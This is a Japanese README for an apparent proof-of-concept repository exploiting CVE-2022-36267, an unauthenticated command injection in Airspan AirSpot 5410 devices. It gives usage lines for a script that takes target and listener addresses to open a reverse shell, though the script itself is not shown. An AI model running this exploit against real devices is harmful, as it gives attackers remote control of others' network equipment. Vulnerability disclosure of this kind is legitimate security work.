CVE-2022-36267 - Airspan AirSpot 5410 認証不要リモートコマンドインジェクション

概要

このリポジトリには、Airspan AirSpot 5410デバイスの重大な脆弱性であるCVE-2022-36267を悪用するための概念実証（PoC）リバースシェルスクリプトが含まれています。このスクリプトは、ブログ記事「Airspan AirSpot 5410 - 脆弱性レポート」で提供されている詳細な分析を補完する実践的なデモンストレーションです。

影響を受けるバージョン

バージョン0.3.4.1-4以下のすべてのAirspan AirSpot 5410デバイス。

PoCスクリプトの使用方法

# Usage: python AirSpot-5410.py --RHOST <Target-IP> --RPORT <Target-Port> --LHOST <Local-IP> --LPORT <Local-Port>
# Example: python AirSpot-5410.py --RHOST 192.168.1.1 --RPORT 443 --LHOST 192.168.1.100 --LPORT 4444

ビデオによる概念実証

注意

教育目的のみに使用してください。